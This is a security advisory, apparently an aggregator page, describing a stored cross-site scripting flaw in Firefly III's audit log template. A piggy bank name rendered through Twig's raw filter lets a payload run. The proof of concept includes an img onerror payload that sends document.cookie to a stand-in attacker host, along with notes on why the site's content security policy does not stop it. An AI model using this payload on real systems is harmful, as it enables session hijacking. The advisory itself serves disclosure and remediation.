Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Cross-site scripting
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-79.
Summary
## Summary The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log. ## Root Cause The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter. **Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):** ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy })|raw }} ``` No HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`. ## Data Flow ``` POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"} → Stored verbatim in piggy_banks.name → Transaction rule fires add_to_piggy / remove_from_piggy → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name → Any user views /transactions/show/{id} → ale.twig outputs unescaped payload → XSS fires ``` ## CSP Note The nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely. ## PoC 1. Authenticate as any user 2. `POST /api/v1/piggy-banks` with `"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"` 3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]" 4. Trigger the rule on any transaction 5. Visit `/transactions/show/{id}` → payload fires **Confirmed server response (v6.6.2):** ```html Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank "<img src=x onerror=alert(document.cookie)>" ``` ## Impact - Stored XSS persists in DB — fires for every user who views the transaction - Cookie theft → session hijacking - In multi-user setups: one user attacks another user or admin - Chainable with CSRF-like operations ## Fix PR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter. ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy|e })|raw }} ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | grumpydictator/firefly-iii (Packagist) | before 6.6.3 | 6.6.3 | Patch available | GHSA-6jq6-x4cx-qvcm |
- grumpydictator/firefly-iii (Packagist) Vendor— Affected before 6.6.3 Fixed in 6.6.3 Patch available GHSA-6jq6-x4cx-qvcm
Remediation
- Fix · GHSA-6jq6-x4cx-qvcm grumpydictator/firefly-iii (Packagist) Fixed in 6.6.3 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-6jq6-x4cx-qvcm
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences